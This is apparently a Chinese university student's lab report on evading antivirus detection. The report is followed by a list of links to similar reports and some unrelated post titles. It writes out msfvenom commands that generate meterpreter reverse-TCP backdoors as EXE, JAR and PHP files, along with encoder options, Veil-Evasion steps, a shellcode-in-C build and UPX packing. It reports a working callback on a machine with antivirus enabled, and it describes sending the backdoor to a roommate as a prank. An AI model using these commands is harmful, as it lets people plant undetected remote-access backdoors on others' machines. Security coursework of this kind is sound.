1.实验要求

  •   1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
  •   1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
  • (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
  •   1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

2.实验过程

2.1正确使用msf编码器

实验2中生成的20164312_backdoor.exe就是用msfvenom生成的后门程序,直接拉到virstotal上检测一下:

很惨,71个杀软有52个都检测出来了。

tips:我们用msf编码器对后门程序进行一次编码:-e:选择编码器,-i是迭代的次数,-b:是payload中需要去除的字符。因为shellcode以\x00为结束符,所以在-b后面要跟一个\x00

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ LHOST=192.168.192.136 LPORT=4312 -f exe > 20164312_backdoor2.exe

貌似情况好一点了,但是并没有什么大的改善。

2.2 msfvenom生成jar文件

在Linux中写入msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.181.135 LPORT=4312 x>20164312.jar

将生成的jar文件在virustotal上进行检测:

通过率有一半了,感觉比之前的exe文件要好很多。

2.3 msfvenom生成php文件

在Linux中键入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.181.135 LPORT=4312 x> 20164312.php

继续在virustotal上检测:

emmm......这也太恐怖了吧,虽然不知道原理如何,但是实践告诉我php文件是免杀程度最好的。(细思极恐)

2.4 使用veil-evasion生成后门程序及检测

tips:Veil Evasion是一个可执行文件,它被用来生成Metasploit的payload,能绕过常见杀软

在kali Linux中键入apt-get install veil-evasion进行安装(100多M,挺费时间的)

安装成功之后,输入veil,再用use evasion命令进入Evil-Evasion界面:

输入命令use c/meterpreter/rev_tcp.py进入配置界面:

设置反弹连接IP:set LHOST 192.168.181.136   设置端口:set LPORT 4312   输入generate生成文件,接着输入playload的名字::

保存路径:/var/lib/veil/output/compiled/veil_c_4312.exe

这次使用的是virscan检测,因为不知道为什么virustotal出什么毛病了。。。说没有引擎能检测出此文件。

2.5 半手工注入Shellcode并执行

在Linux键入:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.181.136 LPORT=4312 -f c 用c语言生成一段shellcode。

创建一个文件shellcode.c,然后将unsigned char buf[] 拷贝到其中:

使用命令:i686-w64-mingw32-g++ shellcode.c -o shellcode.exe 编译这个shellcode.c文件为可执行文件:

放到virscan上检测:

拷贝到windows上用360软件查杀病毒:

tips:我的360是最新版的,emmm我也不知道为什么这么多木马只能查出来3个,难道说其他的对电脑没威胁?

2.6加压缩壳

在linux中键入upx shellcode.exe  -o 4312.upxed.exe 加个压缩壳,得到4312.upxed.exe:

上传到virscan上检测:

wc,这是什么骚操作,加了壳,反而被更多的杀软查出来了,太优秀了。

呵呵,360依然查不出来。我又把病毒库更新了一下,这次终于能杀出来了,但是360感觉还是不太安全啊:

3.通过组合应用各种技术实现恶意代码免杀

经过上面的一系列操作,我发现veil和c都比较容易实现免杀,但是更新了病毒库的360还是比较稳的,所以我将veil生成的后门程序加上壳以后再进行测试:

生成过程:

查杀结果及360版本号:

发现我给veil再加个壳就可以达到免杀了,测试一下是否可以回弹:

可以完成回弹,nice

但是virscan上结果依然不容乐观。

我在veil中重新选了ruby格式的后门程序:

有些改善,但还是无法实现彻底免杀,勉强维持生活。

发给室友进行免杀测试与回弹:

感觉学到了什么好办法~可以搞室友了。

4.实验总结

4.1.基础问题回答

  (1)杀软是如何检测出恶意代码的?

  1.基于特征码的检测

  2.启发式恶意软件检测

  3.基于行为的恶意软件检测

  (2)免杀是做什么?

  防止被杀毒软件检测出来

  (3)免杀的基本方法有哪些?

  1.改变特征码

  2.加壳

4.2.实践总结与体会

  经过这次自己动手制作软件来免杀,我深刻的体会到光有360是完全不够的,而且平时下载东西的时候不能觉得没被360查出来就是绝对安全的,应该在virscan这种网站上进行一次比较权威的杀毒检查,嗯,以后不能乱下东西了,奇怪的程序要及时删除,不能瞎点程序了。

4.3开启杀软能绝对防止电脑中恶意代码吗?

  事实证明并不能。

Exp3免杀原理与实践 20164312 马孝涛的更多相关文章

  1. Exp2后门原理与实践 20164312马孝涛

    实验内容 使用netcat获取主机操作Shell,cron启动 (0.5分) 使用socat获取主机操作Shell, 任务计划启动 (0.5分) 使用MSF meterpreter(或其他软件)生成可 ...

  2. NetSec2019 20165327 Exp3 免杀原理与实践

    NetSec2019 20165327 Exp3 免杀原理与实践 pre基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. 要做好免杀,就时清 ...

  3. Exp3 免杀原理与实践_05齐帅

    Exp3 免杀原理与实践 20154305_齐帅 想要弄懂免杀,一定得先把基础问题弄明白啊~~ 一.基础问题回答 (1)杀软是如何检测出恶意代码的? - -检测特征码: 依靠分析总结出计算机病毒中常出 ...

  4. 2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践

    2017-2018-2 20155314<网络对抗技术>Exp3 免杀原理与实践 目录 实验要求 实验环境 预备知识 实验步骤 1 免杀效果实测 1.1 恶意代码生成工具 1.2 免杀效果 ...

  5. 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5 20165233

    Exp3 免杀原理与实践 实验内容 一.基础问题回答 1.杀软是如何检测出恶意代码的? 基于特征码的检测:通过与自己软件中病毒的特征库比对来检测的. 启发式的软件检测:就是根据些片面特征去推断.通常是 ...

  6. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  7. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  8. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  9. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

随机推荐

  1. left join 后的条件 位置不同,查询的结果不同

    表t_a id name 1 a1 2 a2 表t_b a1_id name num 2 b2 1 3 b3 100 left join 后加查询条件 select a.* from t_a a le ...

  2. 在Python中用Request库模拟登录(三):Discuz论坛(未加密,有验证码,有隐藏验证)

    以Discuz的官方站为例.直接点击网页右上角的登录按钮,会弹出一个带验证码的登录窗口.输入验证码之后,会检查验证码是否正确.然后登录.首先,通过抓包分析,这些过程浏览器和服务器交换了哪些数据. 抓包 ...

  3. LoadRunner 11 中Analysis分析

    原文:http://www.cnblogs.com/Chilam007/p/6445165.html analysis简介 分析器就是对测试结果数据进行分析的组件,它是LR三大组件之一,保存着大量用来 ...

  4. 全国省市县区域信息最新数据库脚本(mysql版本)

    /*Navicat MySQL Data Transfer Source Server : localhostSource Server Version : 50717Source Host : lo ...

  5. python:解析js中常见的 不带引号的key的 json

    首先要明晰一点,json标准中,key是必须要带引号的,所以标准json模块解析不带引号的key的 json就会抛错 不过有一些lib可以帮我们解析 如:demjson(链接) >>> ...

  6. itchat库初探--微信好友全头像的拼接

        代码: import itchat import math import PIL.Image as Image import os itchat.auto_login() friends = ...

  7. Reading Code Is Hard

    注: 以下内容引自: https://blogs.msdn.microsoft.com/ericlippert/2004/06/14/reading-code-is-hard/ Reading Cod ...

  8. teeporxy.go

    package,, {         cer, err := tls.LoadX509KeyPair(*tlsCertificate, *tlsPrivateKey)         if err ...

  9. 【bzoj 3601】一个人的数论 (莫比乌斯反演+伯努利数)

    题解: (吐槽:网上题解那个不严谨猜测真是没谁了……关键是还猜得辣么准……) 直接化简到求和那一段: $f_{d}(n)=\sum_{t|n}\mu(t)t^{d}\sum_{i=1}^{\frac{ ...

  10. BZOJ_1455_罗马游戏_可并堆

    BZOJ_1455_罗马游戏_可并堆 Description 罗马皇帝很喜欢玩杀人游戏. 他的军队里面有n个人,每个人都是一个独立的团.最近举行了一次平面几何测试,每个人都得到了一个分数. 皇帝很喜欢 ...